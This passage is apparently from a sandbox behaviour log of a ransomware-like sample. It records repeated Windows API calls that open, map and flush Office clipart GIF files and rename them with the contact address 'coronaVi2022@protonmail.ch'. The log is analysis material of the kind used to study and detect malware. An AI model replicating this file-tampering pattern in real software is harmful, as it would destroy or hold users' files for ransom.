	[0093.208] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00163_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00163_.gif")) returned 1
	[0093.209] free (_Block=0x51f0070) 
	[0093.209] RtlExitUserThread (Status=0x0) 

Thread:
	id = 453
	os_tid = 0x17a4

	[0093.210] _alloca_probe () returned 0x40328a
	[0093.211] GetCurrentThreadId () returned 0x17a4
	[0093.211] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif", dwFileAttributes=0x80) returned 1
	[0093.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00164_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9c8
	[0093.211] GetFileSizeEx (in: hFile=0x9c8, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=13269) returned 1
	[0093.212] CreateFileMappingA (hFile=0x9c8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x33d9, lpName=0x0) returned 0x9cc
	[0093.212] MapViewOfFile (hFileMappingObject=0x9cc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.215] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.215] CloseHandle (hObject=0x9cc) returned 1
	[0093.215] GetCurrentThreadId () returned 0x17a4
	[0093.215] FlushFileBuffers (hFile=0x9c8) returned 1
	[0093.217] CloseHandle (hObject=0x9c8) returned 1
	[0093.217] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif") returned 155
	[0093.217] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00164_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00164_.gif")) returned 1
	[0093.218] free (_Block=0x51f5098) 
	[0093.218] RtlExitUserThread (Status=0x0) 

Thread:
	id = 454
	os_tid = 0x17a8

	[0093.219] _alloca_probe () returned 0x40328a
	[0093.220] GetCurrentThreadId () returned 0x17a8
	[0093.220] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif", dwFileAttributes=0x80) returned 1
	[0093.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00165_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9cc
	[0093.220] GetFileSizeEx (in: hFile=0x9cc, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=8597) returned 1
	[0093.220] CreateFileMappingA (hFile=0x9cc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2199, lpName=0x0) returned 0x9d0
	[0093.220] MapViewOfFile (hFileMappingObject=0x9d0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.223] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.223] CloseHandle (hObject=0x9d0) returned 1
	[0093.223] GetCurrentThreadId () returned 0x17a8
	[0093.223] FlushFileBuffers (hFile=0x9cc) returned 1
	[0093.227] CloseHandle (hObject=0x9cc) returned 1
	[0093.227] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif") returned 155
	[0093.227] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00165_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00165_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00165_.gif")) returned 1
	[0093.228] free (_Block=0x51f60a0) 
	[0093.228] RtlExitUserThread (Status=0x0) 

Thread:
	id = 455
	os_tid = 0x17ac

	[0093.230] _alloca_probe () returned 0x40328a
	[0093.230] GetCurrentThreadId () returned 0x17ac
	[0093.230] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif", dwFileAttributes=0x80) returned 1
	[0093.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00167_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9d0
	[0093.230] GetFileSizeEx (in: hFile=0x9d0, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=4917) returned 1
	[0093.231] CreateFileMappingA (hFile=0x9d0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1339, lpName=0x0) returned 0x9d4
	[0093.231] MapViewOfFile (hFileMappingObject=0x9d4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.232] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.232] CloseHandle (hObject=0x9d4) returned 1
	[0093.232] GetCurrentThreadId () returned 0x17ac
	[0093.232] FlushFileBuffers (hFile=0x9d0) returned 1
	[0093.234] CloseHandle (hObject=0x9d0) returned 1
	[0093.235] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif") returned 155
	[0093.235] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00167_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00167_.gif")) returned 1
	[0093.235] free (_Block=0x51f3088) 
	[0093.235] RtlExitUserThread (Status=0x0) 

Thread:
	id = 456
	os_tid = 0x17b0

	[0093.237] _alloca_probe () returned 0x40328a
	[0093.238] GetCurrentThreadId () returned 0x17b0
	[0093.238] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif", dwFileAttributes=0x80) returned 1
	[0093.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00169_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9d4
	[0093.238] GetFileSizeEx (in: hFile=0x9d4, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=5401) returned 1
	[0093.238] CreateFileMappingA (hFile=0x9d4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1521, lpName=0x0) returned 0x9d8
	[0093.238] MapViewOfFile (hFileMappingObject=0x9d8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.240] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.240] CloseHandle (hObject=0x9d8) returned 1
	[0093.240] GetCurrentThreadId () returned 0x17b0
	[0093.240] FlushFileBuffers (hFile=0x9d4) returned 1
	[0093.242] CloseHandle (hObject=0x9d4) returned 1
	[0093.242] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif") returned 155
	[0093.242] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00169_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00169_.gif")) returned 1
	[0093.243] free (_Block=0x51f0070) 
	[0093.243] RtlExitUserThread (Status=0x0) 

Thread:
	id = 457
	os_tid = 0x17b4

	[0093.247] _alloca_probe () returned 0x40328a
	[0093.247] GetCurrentThreadId () returned 0x17b4
	[0093.247] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif", dwFileAttributes=0x80) returned 1
	[0093.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00170_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9d8
	[0093.248] GetFileSizeEx (in: hFile=0x9d8, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=9248) returned 1
	[0093.248] CreateFileMappingA (hFile=0x9d8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2420, lpName=0x0) returned 0x9dc
	[0093.248] MapViewOfFile (hFileMappingObject=0x9dc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.250] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.250] CloseHandle (hObject=0x9dc) returned 1
	[0093.250] GetCurrentThreadId () returned 0x17b4
	[0093.250] FlushFileBuffers (hFile=0x9d8) returned 1
	[0093.252] CloseHandle (hObject=0x9d8) returned 1
	[0093.253] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif") returned 155
	[0093.253] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00170_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00170_.gif")) returned 1
	[0093.253] free (_Block=0x51f4090) 
	[0093.253] RtlExitUserThread (Status=0x0) 

Thread:
	id = 458
	os_tid = 0x17b8

	[0093.255] _alloca_probe () returned 0x40328a
	[0093.256] GetCurrentThreadId () returned 0x17b8
	[0093.256] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif", dwFileAttributes=0x80) returned 1
	[0093.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00171_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9dc
	[0093.256] GetFileSizeEx (in: hFile=0x9dc, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=5037) returned 1
	[0093.256] CreateFileMappingA (hFile=0x9dc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13b9, lpName=0x0) returned 0x9e0
	[0093.256] MapViewOfFile (hFileMappingObject=0x9e0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.258] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.258] CloseHandle (hObject=0x9e0) returned 1
	[0093.258] GetCurrentThreadId () returned 0x17b8
	[0093.258] FlushFileBuffers (hFile=0x9dc) returned 1
	[0093.260] CloseHandle (hObject=0x9dc) returned 1
	[0093.260] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif") returned 155
	[0093.260] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00171_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00171_.gif")) returned 1
	[0093.261] free (_Block=0x51f0070) 
	[0093.261] RtlExitUserThread (Status=0x0) 

Thread:
	id = 459
	os_tid = 0x17bc

	[0093.262] _alloca_probe () returned 0x40328a
	[0093.263] GetCurrentThreadId () returned 0x17bc
	[0093.263] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif", dwFileAttributes=0x80) returned 1
	[0093.263] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00172_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9e0
	[0093.263] GetFileSizeEx (in: hFile=0x9e0, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=4405) returned 1
	[0093.263] CreateFileMappingA (hFile=0x9e0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1139, lpName=0x0) returned 0x9e4
	[0093.263] MapViewOfFile (hFileMappingObject=0x9e4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.265] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.265] CloseHandle (hObject=0x9e4) returned 1
	[0093.265] GetCurrentThreadId () returned 0x17bc
	[0093.265] FlushFileBuffers (hFile=0x9e0) returned 1
	[0093.267] CloseHandle (hObject=0x9e0) returned 1
	[0093.267] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif") returned 155
	[0093.267] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00172_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00172_.gif")) returned 1
	[0093.267] free (_Block=0x51f3088) 
	[0093.268] RtlExitUserThread (Status=0x0) 

Thread:
	id = 460
	os_tid = 0x17c0

	[0093.269] _alloca_probe () returned 0x40328a
	[0093.270] GetCurrentThreadId () returned 0x17c0
	[0093.270] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif", dwFileAttributes=0x80) returned 1
	[0093.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00174_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9e4
	[0093.270] GetFileSizeEx (in: hFile=0x9e4, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3989) returned 1
	[0093.270] CreateFileMappingA (hFile=0x9e4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf99, lpName=0x0) returned 0x9e8
	[0093.270] MapViewOfFile (hFileMappingObject=0x9e8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.272] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.272] CloseHandle (hObject=0x9e8) returned 1
	[0093.272] GetCurrentThreadId () returned 0x17c0
	[0093.272] FlushFileBuffers (hFile=0x9e4) returned 1
	[0093.277] CloseHandle (hObject=0x9e4) returned 1
	[0093.277] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif") returned 155
	[0093.277] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00174_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00174_.gif")) returned 1
	[0093.278] free (_Block=0x51f5098) 
	[0093.278] RtlExitUserThread (Status=0x0) 

Thread:
	id = 461
	os_tid = 0x17c4

	[0093.280] _alloca_probe () returned 0x40328a
	[0093.280] GetCurrentThreadId () returned 0x17c4
	[0093.281] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif", dwFileAttributes=0x80) returned 1
	[0093.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00175_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9e8
	[0093.281] GetFileSizeEx (in: hFile=0x9e8, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3381) returned 1
	[0093.281] CreateFileMappingA (hFile=0x9e8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd39, lpName=0x0) returned 0x9ec
	[0093.281] MapViewOfFile (hFileMappingObject=0x9ec, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.282] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.282] CloseHandle (hObject=0x9ec) returned 1
	[0093.282] GetCurrentThreadId () returned 0x17c4
	[0093.282] FlushFileBuffers (hFile=0x9e8) returned 1
	[0093.284] CloseHandle (hObject=0x9e8) returned 1
	[0093.285] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif") returned 155
	[0093.285] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00175_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00175_.gif")) returned 1
	[0093.285] free (_Block=0x51f5098) 
	[0093.285] RtlExitUserThread (Status=0x0) 

Thread:
	id = 462
	os_tid = 0x17c8

	[0093.287] _alloca_probe () returned 0x40328a
	[0093.288] GetCurrentThreadId () returned 0x17c8
	[0093.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif", dwFileAttributes=0x80) returned 1
	[0093.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00176_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9ec
	[0093.288] GetFileSizeEx (in: hFile=0x9ec, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3120) returned 1
	[0093.288] CreateFileMappingA (hFile=0x9ec, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc30, lpName=0x0) returned 0x9f0
	[0093.288] MapViewOfFile (hFileMappingObject=0x9f0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.289] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.289] CloseHandle (hObject=0x9f0) returned 1
	[0093.289] GetCurrentThreadId () returned 0x17c8
	[0093.289] FlushFileBuffers (hFile=0x9ec) returned 1
	[0093.291] CloseHandle (hObject=0x9ec) returned 1
	[0093.291] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif") returned 155
